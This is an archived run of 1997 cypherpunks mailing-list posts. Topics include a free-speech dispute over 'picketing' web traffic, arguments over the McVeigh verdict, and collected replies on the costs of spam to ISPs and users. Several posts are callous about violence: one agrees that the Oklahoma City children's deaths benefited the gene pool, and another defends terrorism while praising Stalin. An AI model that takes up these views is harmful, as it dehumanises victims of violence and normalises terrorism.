do not want to see the anit-porn page from the NOW I want to see the bigtits page at www.bigtits.com Where exactly is it in the constution that say that your free speech rights extend to the point where you can force me to read what you have to say when I don't want to? I just don't see how you can make this leap regardless of who is doing the funding. BigTits have their 1st Amendment rights to free speech the same as the NOW. BigTits puts up their web site & NOW puts up theirs. I now can make my choice of who's speech I wish to listen to. If I decide to listen to BigTits that is my right to do so and if I want to listen to NOW that is also my right. I'll leave the numerous analogies alone for a latter post. I just don't see where anyone has the right to tell me what I must read. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCUAwUBM5Y2n49Co1n+aLhhAQEjzwP40KIXhNkiSjaP7pgdolPViqTviO7pqrHW sttCgZuflouSzum2IGxvXZu8IZiyTI6rD7X/jhwjwY6TTA84SDQyovaTq9ngrW7X 9kw3xuHVX5Tsf+Nd8go1OPpWqx4bhpXBqWVAspC7Tn0rd0cy273BTMlzT+t4Qesn /iP10x6U2g== =R3fY -----END PGP SIGNATURE----- From tomw at netscape.com Wed Jun 4 21:06:20 1997 From: tomw at netscape.com (Tom Weinstein) Date: Thu, 5 Jun 1997 12:06:20 +0800 Subject: A Fair Trial for the Waco Raiders...is it too much to ask for? In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: <33963977.1E2D6DCE@netscape.com> Tim May wrote: > > Why is it so radical to ask that a criminal trial be held for those > responsible, and all participants, and that the appropriate penalties > be meted out if any of those charged are found guilty? Texas is very > liberal with the lethal injections, so what's the big deal about > having a trial and giving the needle to a dozen or so of the BATF > leaders? You're forgetting that guilt is decided by the DA when he brings the case, not by the jury. After all, if the accused wasn't guilty, he wouldn't have been charged, right? -- What is appropriate for the master is not appropriate| Tom Weinstein for the novice. You must understand Tao before | tomw at netscape.com transcending structure. -- The Tao of Programming | From declan at pathfinder.com Wed Jun 4 21:20:12 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Thu, 5 Jun 1997 12:20:12 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: I was having dinner with Don Haines, a friend of mine who's a legislative counsel with the national ACLU, when the McVeigh verdict came down. A Canadian prosecutor who was having dinner with us said: "So McVeigh did it after all." Don replied: "No. He was found guilty of the crime." There is a difference. -Declan On Wed, 4 Jun 1997, Chris DiBona wrote: > > > Okay folks...what the hell is wrong with you? First off, this whole McVeigh > Crap is a bit off topic..but we all know this. The amazing thing about the > string of posts has been that people have forgotten that He has been found > guilty of murdering quite a few people. Guilty, Guilty, Guilty. Jury of > his peers, dare I say, people like us all. Randomly selected. This is how > our system works. > > Yes there are flaws in the system. > > Yes the US govt. has it's problems in the past, present and future. > > Yes people have died because schnooks in DC have had thier heads up thier > ass. Or not. > > So whether or not you belive he did it.....how can anyone be _for_ what > _happened_. People died senselessly, I can't believe that anyone (in this > case Duncan Frissell frissell at panix.com, lets give credit where it is due) > can be so callous and , frankly, sick , to say : > > <> > As to the Children of OKC, people who turn the care of their children over > to > government employees or contractors do not place too high a value on those > children. > <> > > Are you serious? You should be ashamed that you think this way. Do you > really > think those children who died weren't cared for? You are a sick person who > should seriously consider therapy. Anyone who read this and said "Yeah!" > is > on the same plane. > > To all the people who defend blowing shit and people up to get thier point > across.... > > Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does > the > PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh > did it. > But that doesn't make blowing up children in freakin' day care all right. > Do you > understand this? There is no reason to blow up kids. It's wrong. For any > reason. > Bad. Duncan...looking over your past posts.. .I've got to wonder if you > were on acid > when you wrote this, many of your posts were fairly cozigent. But this? Do > you have > children? Any cousins who are children? A nephew or neice? Do these > children > who may be important to you have parents who "care" about them enough to > scour the planet to find a good,safe day care that isn't withing the blast > radius or > shooting range of : > > A government office. > A large corporations headquarters. > A law firm. > A post office. > A town square. > A restaurant. > A bank. > Anywhere some asshole might have a gun and go loopy. > Anywhere some asshole might have a car be drunk and go loopy. > Anywhere some asshole might have a gun and a car and be drunk and go loopy. > > If they even could, I'm someone somewhere will find a way to fuck up that > safe place. > > You get the point, I could go on....but I won't. Perhaps you should think > and read > over your posts before you post again. The only good thing (and I mean > ONLY) to > come out of the whole Mcveigh thing being discussed here on cypherpunks, is > that it has allowed me to add to my killfiles people who have for some > reason, > had a prefrontal. > > To all the dipshits who could possibly think otherwise. I should also > mention it > is an EQUALLY fucked up thing to blow up adults. > > Like my fellow Santa Clara County Resident Bill Frantz said : > > For cypherpunks this comes down to: Make code, not bombs. > > Chris DiBona > > > > From dlv at bwalk.dm.com Wed Jun 4 21:25:03 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 12:25:03 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: Message-ID: Lucky Green writes: > Some on this list will even > say that the kids' deaths fortunately > reduced the negative impact their parents can have on the gene pool. Good point, Lucky. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Jun 4 21:25:37 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 12:25:37 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: <199706041913.OAA20798@mailhub.amaranth.com> Message-ID: "William H. Geiger III" writes: > For the most part thoses labeled as "terrorist" are the one who are > fighting against an aggressor. Most terrorist don't just wake up one > morning and decide to start blowing things up. They only become active > after a foreign power attacks them and they react in self defence no > different if some one breaks into you house and you shoot them (I am sure > that there are some liberal winnies here who think that selfdefence is > wrong). ... Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa shot (who was btw a U.S. citizen). One of the many interesting contributions Joe Stalin made to the Marxist theory was the observation that the class struggle intensifies as the old mode of production becomes obsolete; and that there's really no difference between "terrorist acts" and government-sponsored violence and economic deprivation. You might view the second statement as the generalization of Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign policy by other means. Consider, for example, the evolution from the feudal mode of production to capitalism in Spanish Netherlands. The representatives of the Spanish King first tries to suppress the emerging capitalism by increased regulation and taxation. When that failed, they resorted to mass executions and confiscations under the guise of fighting Protestants. Consider, for example, a Black child in the United States who dies of a trivial curable disease because of the lack of health care. Consider the child's parents who labor "off the books" in menial jobs, who are deprived by the state from the ability to marry, to work "on the books", to hold a bank account, et al. Is being deprived from the results of one's labor that different from being sold at an auctioned and whipped in a public ceremony to terrify other (wage) slaves? Joe Stalin himself took part in several spectacular terrorist acts in his youth, which resulted in deaths of dozens of "innocent bystanders". What I'm driving at is: someone said earlier that Cypherpunks don't make bombs, Cypherpunks write code. Well, my response is, if you write code for anonymous electronic commerce that seriously challenges the gubmint, in a free market environment, then the gubmint will first try to regulate it out of existence, and if it fails, it will use whatever force is necessary, including jailing and shooting people, to fight for it survival. The obsolete ruling class is doomed by thr inevitable historical process, but it will put up a tremendous fight before giving up its ghost. Prepare for crypto to be criminalzed. Prepare for the former cpunks who "sold out" (C2Net and the like) to support criminalization of crypto use within the U.S. in exchange for a possible relexation of export rules. Prepare for any instrument that resembles bearer bonds to be outlawed. Prepare for Internet gambling to be outlawed. Prepare for class struggle. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ravage at EINSTEIN.ssz.com Wed Jun 4 21:29:01 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 12:29:01 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706050354.WAA04800@einstein.ssz.com> Hi, Forwarded message: > From: "William H. Geiger III" > Date: Wed, 04 Jun 97 22:31:07 -0500 > Subject: Re: Webpage picketing (fwd) > I as Joe Sixpack want to goto http://www.bigtits.com > > You as goodie-2-shoes want to picket this site. > > Inorder to do this you wish to have me goto http://www.NOW.com and see > their anti-porn page before I can see the bigtits page. (wether I actually > goto their website or the page is automatically downloaded is irrelevant > for the disscusion). Not exactly, I am saying it would be legaly permissible under the same chain of reasoning that allows picketing at a public sidewalk in front of a business to extend it to network traffic which traversed a public link in the chain of nodes between user and server. I am in effect saying the end point publicly funded servers on a section of publicly funded network, not the user or the actual target server (who again have no more stake in this than in an actual picket line - none), would be required to provide 3rd party single pages before serving the actual target of the user based upon the same sorts of situations that arise in meatland. Is that clearer? > Where exactly is it in the constution that say that your free speech > rights extend to the point where you can force me to read what you have to > say when I don't want to? The 1st Amendment, when you are traversing public property, be it a sidewalk or stretch of network cable. It is simply a matter of strategy and geography if for you to get to where you want to go you have to go through public property on which I desire to speak. Neither you nor your intended destination has anything to say about it. > I just don't see how you can make this leap regardless of who is doing the > funding. Then you don't understand how picketing works. To get to the private store you must cross public property. The public is free to use that property to their own ends within the law. The law allows, through the 1st Amendment, anyone to stand on that public stip and make certain claims about adjacent private parties. Hell, you can legaly picket a private individuals house as long as you do it from the sidewalk - which by extension means that they could specificaly picket your personal server if they desired as long as they did it from a publicly funded stretch of network. > I'll leave the numerous analogies alone for a latter post. I just don't > see where anyone has the right to tell me what I must read. As long as you are not using everybody elses money (ie public funds) to get there they don't. But your not wanting to see the picketers in front of Bookstop on the sidewalk in no way impacts their right to be there and your total impunity to do anything about it legaly short of picketing yourself. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From frissell at panix.com Wed Jun 4 21:29:42 1997 From: frissell at panix.com (frissell at panix.com) Date: Thu, 5 Jun 1997 12:29:42 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: <3.0.2.32.19970605001420.03852ed0@panix.com> -----BEGIN PGP SIGNED MESSAGE----- >Yes, some pathetic strange little boys swaggering around in never-never >land. Lonely individuals with shriveled hearts, stunted morals, and >feverish imaginations, who brag contemptuously of their superiority >over "sheeple", and boast of their heroic roles in the coming >revolution. I hope you're not referring to Lucky, or Time May, or me. Lucky has a successful career in a computer-related field. Tim was exceedingly well- integrated into the work force at Intel and did a great deal of valuable and lucrative work for them. I am married with four children (who I never sent to a government school) and get along well with a host of friends and co-workers. I have achieved a modicum of success as a writer and speaker. I happen to be a neo-victorian myself. Why is it that when someone like Al Gore expresses strong and extremist views as he did in "Earth in the Lurch" (or whatever that book was called) no one ever claims that he is " a pathetic strange little boy swaggering around in never-never land. A lonely individual with a shriveled heart, stunted morals, and a feverish imagination." How do you know our hearts are shriveled? Can it be because we can do the math and figure out the Feds are *much* bigger killers than McVeigh? Why don't you bleed for *their* victims. Remember, government's crimes are worse than private crimes (even apart from the higher body count) because a serious breach of duty and trust is involved. Look, people are bound to disagree over social policy and even right and wrong. But since everyone is much more powerful than they used to be, a force- based monopoly on policy and morality ("others" government) just can't be sustained anymore. Your side just simply doesn't have the artillery. It would be better for everyone if you would recognize reality, step back, and allow self-government to replace others-government. It will happen anyway. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5Y9G4VO4r4sgSPhAQFeMgP/ayBfrwGflaw19qP6EgC3BaEJNWdpk+K7 71CAV/krUGfsWPAB9LO7p5p14F9wt1wsVqjrd6uQFae2eDiq0lLR+byLKrLRgN1W iAK6VTkgO9O37Mx4842i74fUbcw8WqcSrZM5fmWhQSmpCEYe6d04UCj8ITj183GI +gAvWp4dY6w= =FQyL -----END PGP SIGNATURE----- From declan at pathfinder.com Wed Jun 4 21:40:24 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Thu, 5 Jun 1997 12:40:24 +0800 Subject: Government money, Net picketing, and public fora In-Reply-To: <199706050148.UAA04173@einstein.ssz.com> Message-ID: Unfortunately, Jim has no idea what he's talking about. Accepting public money does not magically turn something into a public forum. I'm not sure how I can get this idea through. -Declan On Wed, 4 Jun 1997, Jim Choate wrote: > > If it is a fully privately funded highway, I agree. If it accepts public > money I obviously disagree with you. As to the packets watching, no more so > than the cars being used are watching the picketers. This is a straw man > argument. The issue here is not the packets but the paticipants. From whgiii at amaranth.com Wed Jun 4 21:49:05 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 12:49:05 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706050354.WAA04800@einstein.ssz.com> Message-ID: <199706050444.XAA29186@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706050354.WAA04800 at einstein.ssz.com>, on 06/04/97 at 10:54 PM, Jim Choate said: >Hi, >Forwarded message: >> From: "William H. Geiger III" >> Date: Wed, 04 Jun 97 22:31:07 -0500 >> Subject: Re: Webpage picketing (fwd) >> I as Joe Sixpack want to goto http://www.bigtits.com >> >> You as goodie-2-shoes want to picket this site. >> >> Inorder to do this you wish to have me goto http://www.NOW.com and see >> their anti-porn page before I can see the bigtits page. (wether I actually >> goto their website or the page is automatically downloaded is irrelevant >> for the disscusion). >Not exactly, I am saying it would be legaly permissible under the same >chain of reasoning that allows picketing at a public sidewalk in front of >a business to extend it to network traffic which traversed a public link >in the chain of nodes between user and server. I am in effect saying the >end point publicly funded servers on a section of publicly funded >network, not the user or the actual target server (who again have no more >stake in this than in an actual picket line - none), would be required to >provide 3rd party single pages before serving the actual target of the >user based upon the same sorts of situations that arise in meatland. >Is that clearer? >> Where exactly is it in the constution that say that your free speech >> rights extend to the point where you can force me to read what you have to >> say when I don't want to? >The 1st Amendment, when you are traversing public property, be it a >sidewalk or stretch of network cable. It is simply a matter of strategy >and geography if for you to get to where you want to go you have to go >through public property on which I desire to speak. Neither you nor your >intended destination has anything to say about it. >> I just don't see how you can make this leap regardless of who is doing the >> funding. >Then you don't understand how picketing works. To get to the private >store you must cross public property. The public is free to use that >property to their own ends within the law. The law allows, through the >1st Amendment, anyone to stand on that public stip and make certain >claims about adjacent private parties. Hell, you can legaly picket a >private individuals house as long as you do it from the sidewalk - which >by extension means that they could specificaly picket your personal >server if they desired as long as they did it from a publicly funded >stretch of network. >> I'll leave the numerous analogies alone for a latter post. I just don't >> see where anyone has the right to tell me what I must read. >As long as you are not using everybody elses money (ie public funds) to >get there they don't. But your not wanting to see the picketers in front >of Bookstop on the sidewalk in no way impacts their right to be there and >your total impunity to do anything about it legaly short of picketing >yourself. Well this is why I had wanted to set the analogies aside. There are some real diferences between cyberspace and your metaspace analogy of the picket line. In cyberspace there is no sidewalk for your picket to stand and for me to pay as little or as much attention as I wish. A more closer analogy between cyberspace and metaspace is that your picketors are not standing off to the side but are blocking the door and the only way I can enter is to read their signs first. This is the point where your picketors have oversteped the bounds of their 1st Amendment rights. While the have the right to picket infront of the store they cannot interfere with the comming and goings of the customers. The has been well tested in the courts. The problem with extending the picket analogy to cyberspace is there are no sidewalks. It's all or nothing. Either you are blocking the door or you are not. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5ZEoo9Co1n+aLhhAQFX6AP/XEffgvp0FV4pACr62w5lJNvCrjGWxb9o Rp6CBM+cf0j19ib5BRe1iVf84VvnwzWALaBcAZwNptCJtVtWBA7LKlo7rm5HhlGG EBZ5hVzn+VUXcvw8zoIWsN7zvdEF1rzOhVc4UXKpYqvF6nggLaoiz8wPZ0bSgyJQ aLwMQWG/x3Q= =Ej6s -----END PGP SIGNATURE----- From tcmay at got.net Wed Jun 4 22:07:23 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 13:07:23 +0800 Subject: Anarchy, Peter Pan, and Insults In-Reply-To: <19970604173133.51738@bywater.songbird.com> Message-ID: At 9:14 PM -0700 6/4/97, frissell at panix.com wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >>Yes, some pathetic strange little boys swaggering around in never-never >>land. Lonely individuals with shriveled hearts, stunted morals, and >>feverish imaginations, who brag contemptuously of their superiority >>over "sheeple", and boast of their heroic roles in the coming >>revolution. > >I hope you're not referring to Lucky, or Time May, or me. Lucky has a >successful career in a computer-related field. Tim was exceedingly well- >integrated into the work force at Intel and did a great deal of valuable and >lucrative work for them. I am married with four children (who I never >sent to >a government school) and get along well with a host of friends and >co-workers. > I have achieved a modicum of success as a writer and speaker. I happen >to be >a neo-victorian myself. > >Why is it that when someone like Al Gore expresses strong and extremist views >as he did in "Earth in the Lurch" (or whatever that book was called) no one >ever claims that he is " a pathetic strange little boy swaggering around in >never-never land. A lonely individual with a shriveled heart, stunted >morals, >and a feverish imagination." Like I said, Duncan, Kent Crispin is in that terminal phase of simply insulting the list in any way he can...which is apparently pretty feebly. Perhaps he can contract with Vulis to use the 'bot Vulis uses to post his daily ASCII art insults. Imagine it: Everyday we could see a Crispingram: "Timmy Peter Pan May is just another strange little boy swaggering around in never-never land." By the way, this is why I urge some caution in criticizing Phill Hallam-Baker. Phill is a liberal and anti-gun person, and perhaps even a Clinton supporter. (Gasp.) But he, while as abrasive on his issues as we are on ours, seldom resorts to the kind of puerile criticism Crispin uses. Hell, some of my best conversational friends are commies! (Dave Mandl, for example) (Those who have a deeper understanding of anarchy, whether anarcho-capitalism or more leftist variants, tend to understand that the underlying similarities are greater than the differences. Though I favor unrestricted free markets, I understand that corporate agents, like Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a threat in any statist system. Anarchy lessens their power in more ways than one. I will continue to fight my left-anarchist friends on issues like gun control and freedom of association, but we seem to agree that reducing power of central governments remains a good thing.) --Tim There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at amaranth.com Wed Jun 4 22:20:40 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 13:20:40 +0800 Subject: Anarchy, Peter Pan, and Insults In-Reply-To: Message-ID: <199706050516.AAA29616@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/04/97 at 10:02 PM, Tim May said: >(Those who have a deeper understanding of anarchy, whether >anarcho-capitalism or more leftist variants, tend to understand that the >underlying similarities are greater than the differences. Though I favor >unrestricted free markets, I understand that corporate agents, like >Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a >threat in any statist system. Anarchy lessens their power in more ways >than one. I will continue to fight my left-anarchist friends on issues >like gun control and freedom of association, but we seem to agree that >reducing power of central governments remains a good thing.) There is an old Middle East saying: "The enemy of my enemy is my friend" While such a philosphy can be quite effective taticly it can pose risks strategicly. A good example of this was our support of Iraq durring the Iraq-Iran war even though Iraq had traditionally been a soviet allie. This came back to haut us durring the gulf War as our previous "friend" became a new enemy when truly they were always an enemy and the freindship was temporarily created through a common "enemy". Many other examples of this can be seen in US foreign relations. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5ZL/49Co1n+aLhhAQEYcAP/W+CEeEHncKbWTBNsFysc2qMYTcqgrP+q 0ZJhQjrjQUbkb6BtNmLhL6KfGylOjE+Pk0eQyaCz4/pID5xaQvHRbZwPNbMb0xNV G34l20+AR+z83MNW9w/b8C3s4AfS7PwPKxM01LmgxjQNQryKOcL9zhAidou+RWDj +R+HCzSPE4k= =OWy9 -----END PGP SIGNATURE----- From declan at well.com Thu Jun 5 13:21:38 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 5 Jun 1997 13:21:38 -0700 (PDT) Subject: Responses to "Spam costs and questions" (long) Message-ID: Yesterday I forwarded questions about spam from a friend who was speaking before the FTC next week. Here are most of the replies I received, which I've attached below. Some may have appeared here already. From: glee harrah cady From: Wei Dai From: Stanton McCandlish From: Robert Moskowitz From: "Halpert, James - DC" From: Azeem Azhar From: Mark Grant From: Charlie Stross From: Bill Frantz From: "Shabbir J. Safdar" From: djones at insight.dcss.McMaster.CA (David Jones) From: wyang at ktel.osc.edu From: clinton at annoy.com (Clinton at Annoy) From: Eric Murray From: Ray Everett-Church From: Chris Poupart From: "Marius Loots" From: Roger Bohn -Declan *********** Date: Wed, 4 Jun 1997 15:26:33 -0700 (PDT) From: glee harrah cady To: Declan McCullagh A large amount of real costs are principally being borne not by the individual recipient but by the networks that are being abused in the process, which costs the users of the networks involved. Lots of spammers are not using "their own" networks to send out the spam, but using the open nature of the Internet to relay the messages off the mail servers of networks throughout the world. One really egregious instance of which I've been told is that someone used a mailserver in New Zealand as a relay for a large spam. I've heard that data charges in New Zealand are for info in AND out, the provider had to pay for the privilege. SInce this was a third-hand story, I can't cite you chapter and verse -- wish I could. When lots of spam hits a single network, email processing for all customers, whether or not they are recipients of that particular spam, is slowed. Lots of networks have this problem. Unlike email systems that stored one copy of an email, regardless of the number of recipients, the systems we're using on the Internet today send real physical bits for each message that take up space on mail queues. This, too, inhibits email of all involved. Then, folks have to deal with the fact that the spam is on their network: tech support folks are paid to answer queries about it, sysadmins are paid to toss it out (in cases where it hits large intranets -- one company local to here has two sysadmins that do nothing but get rid of spam coming into their local net) or to manage the disk space required to store the stuff. Smaller providers are getting killed with the stuff. The reason that many of us provider-types find more to like the Torricelli approach is that it goes after the deceptive practices that make it harder for us all to trace the sources of the spam: the hiding behind false or not accurate domain names; the hiding of the actual email address of the spammer; the harvesting of names and addresses from the open directories of whitepage services or of online providers, etc. This approach, we think will be more effective at getting to the root of the problem than labelling speech. After all, it's not only commercial speech that is being sent as spam and it's not responsible marketers who are doing it either. I'm not sure that legislation is actually needed to address the problem. I could make an argument that said that the deceptive practices that are making it difficult to go after the spammers actually fall into the purview of the FTC. I am concerned that we don't legislate something that we'll really be sorry about later. As usual, summarizing a complex and difficult policy and operational issue in one short email probably causes problems, too. I hope I've not left out anything, but probably I did. Ask if what I've said isn't clear. :-) ____________________________ glee harrah cady Manager, Public Policy, NETCOM +1.408.881.3227 1.800.NETCOM-1 glee at netcom.com co-author, _Mastering the Internet_, Sybex, 1995 & 1996 ********* Date: Wed, 4 Jun 1997 23:39:28 -0700 (PDT) From: Wei Dai To: Declan McCullagh Here's a cost that's seldomly counted: the occasionally useful spam that we delete without reading because most spam are simply garbage. I would argue that any spam protection system that does not allow useful spam to get through is flawed. ********* From: Stanton McCandlish To: declan at well.com Date: Wed, 4 Jun 1997 16:22:12 -0700 (PDT) Cc: fight-censorship-announce at vorlon.mit.edu, mech at eff.org (Stanton McCandlish) Feel free to send this to FC, etc. This response does not constitute and official EFF position, but I believe it acurately reflects thinking here that will become EFF position shortly. Declan McCullagh typed: > > A friend who's going to be on one of the FTC panels next week sent me a > few questions about spam. Does anyone want to try their hand at answering > them? I'll forward along all responses I get. > > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would ALL/MULTIPLE USERS * cost of storage (ISP, user or both, depending on mail system) in disk space and memory (remember it takes RAM to load a mailbox into any modern email program). * severe degradation and sometimes destruction of forums as they are over-run by spammage. * reputational harm and loss of all usefulness of Internet account (after being subject to a spammer's header forgery listing the innocent victim as the sender, who then receives all the hatemail the spamming generates). INDIVIDUAL END USER ADDITIONAL COSTS * time to read/examine * time to delete * time to filter * time to unsubscribe, complain, or otherwise respond * increased ISP/online service subscription fees as provider costs are passed on to customers. * per byte, per minute or per message costs from ISP (not all users) * per minute costs from phone or other conduit provider (not all users) CORPORATE END USER ADDITIONAL COSTS * lost productivity due to time sinks mentioned above, frustration, etc. * missed opportunities, deadlines, etc., due to too much mail to sort thru resulting in important messages being missed. Major potential for corporate lossage here. CORPORATE ADMINISTRATOR ADDL. COSTS * time (often quite a lot) filtering dependent users' mail, blocking spamming sites, contending with filled up disks, and other wastes of stafftime due to spamming. ISP/ONLINE SERVICE ADDL. COSTS * Help desk and admins' time filtering/blocking by customer request (not all sites do this) * Help desk and admins' time filtering/blocking by necessity to prevent exceedingly abusive spammers sucking up all available disk space * admins' time in cleanup after one of their users engages is spamming or is perceived to have done so due to forged headers, and 1000s of angry victims send in complaints, threats, etc. * company's losses in market share and reputation after one of their users engages is spamming or is perceived to have done so due to forged headers * admins' time in cleanup after one of their users engages is spamming or is perceived to have done so due to forged headers, and 10s or more of angry victims become vigilantes, and hack the provider, SYN flood them, send them crippling emailbombs, etc. * company's losses in mkt. share and reputation after their service slows, crashes or otherwise is negatively affected by such attacks. * company's liability when other subscribers sue for breach of contract, for return of subscription fees, etc., due to such outtages or degradation of service * CEO & legal staff time researching if any recourse is available. * increased connectivity costs as 56K, T1, etc. high-speed connections are not fast enough to keep up with all the spam (e.g. it is currently physically impossible to carry a full "Big 8" and alt Usenet feed with only a T1 connection [verify with a major ISP if in doubt], largely due to the amount of spamming in the alt groups. * increased staffing costs as more people have to be hired or consulted to deal with the problems caused by spammers. Please feel free to send suggestions for addtions to this list, which I've made for other purposes than answering Declan's query. Remember that TIME = MONEY and RESOURCES = MONEY in all above formulations. > like to know how to quantify it, and > compare it with the cost of sending > e-mail. It costs roughly $20 for Net access[*], plus the cost of a spamming-targeted mailing list ($50?) to send multiple millions of messages. [Actually this is not really true - unless AOL has changed the capabilities of its trial accounts, it actaully costs NOTHING to set up a temporary account that is capable of massive spammage. Worse yet, the technology to MAKE massive email lists is trivially available and/or creatable, so one does not even have to buy such a list. ZERO cost at all.) > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Certainly. There are many other problems: 1) Any ban is going to be very difficult to write in a way that will survive constitutional scrutiny. 2) Banning all commercial email is obvioulys stupid and unconstitutional - I have a First Amendment right to receive commercial messages if I want to. 3) Banning all unsolicited email is obviously stupid and unconstitutional - I have a First Amendment right right to tell IBM that I like their web page, even if they didn't ask me for my comments. 4) Banning all commercial unsolicited email is obviously stupid and arguably unconstitutional. I probably have a right to send you a message offering my product if something in an email or a post or web page by you indicated you might be interested in what I'm offering. Additionally, such a ban does not speak to the issue - commerciality is not the problem. Religious and political rants are, to most people, an even more offensive form of spamming that advertisements are. 5) Despite the optimism of some, no local (i.e. national) law will ever stop spam, it will simply move spammers off-shore. That fewer respondents will buy, due to distrust of foreign merchants, is irrelevant - the spamming business model is successful if only 1 out of a million people makes a purchase, because there are essentially no costs. 6) All such bans attack content. This makes them presumptively unconstitutional right from the start. The issue of spamming cannot be solved with a ban. Spamming as a problem is divisible into TWO problems: a) Theft, abuse or usurpation of resources owned by specific parties (i.e. ISP connectivity, staff time, etc., and your productivity), or owned by everyone (tragedy of the commons). This is a matter of the right to not be forced to bear the costs of another's expression (a component of the right to freedom of speech and press), with shades of the right to use public resources (i.e. offline if some bully, every time you try to go a public park, blocks your entrance into the park, you can get an injunction against this person. Hard to map this kind of thing to the offline world though, on legal grounds even if the ethics of the situation are plain as day.) b) Violation of the recipient's right to be left alone (a component of the right to privacy) and right to not be forced to read another's expression (a component of the right to free speech and press). Spammers love to contort this last into another *almost* opposite right - the right to speak freekly in public even if it offends someone. They avoid the issue of not having a right to do this in private spaces, and not having a right to force others to bear their costs even for public expression. Anyway, the privacy and freedom to not read issues seem to apply principally if not only to private email, while the arguments in point a) seem to apply to private mail, and forums (mailing lists, newsgroups). These two problems require different solutions (and probably in fact both require combinations of several different solutions, ranging from class action suits to fraud prosecution to better filters to increased system security to prevent forgery to tighter users contract to "don't route spamming ISP's traffic" agreements between ISPs and NSPs, etc., etc.) EFF is forming a working group to try to size up the various options and possible solutions and see which ones are viable, which ones are best for rights and for the Internet, which are expedient but would harm the public interest, which are unconstitutional or otherwise bad, and so on. We also have to look at this beyond the here-and-now. What about ISPs that in the fine print say they sell their entire user base's contact info to e-marketers? What about the use of "push" technology for spam-like purposes? What about a MoU between all backbones and major NSPs to simply drop service to any "spammer haven" ISP? What about calls for direct regulation by the FTC or FCC? Or by a UN body? Many proposals are flying, many problems envisioned (and some being missed by most), and many people are getting increasingly hysterical about this so we need to find some solutions quickly. None of the legislation produced so far does anything but cause more damage. -- Stanton McCandlish mech at eff.org Electronic Frontier Foundation Program Director http://www.eff.org/~mech +1 415 436 9333 x105 (v), +1 415 436 9333 (f) Are YOU an EFF member? http://www.eff.org/join ********* Date: Thu, 05 Jun 1997 06:52:36 -0400 To: declan at relay.pathfinder.com, From: Robert Moskowitz Morning Declan. In today's Internet charging scheme, there are two costs to the Internet consumer: Time to retrieve mail, and time to process scams. The first will fade as higher bandwidth solutions come 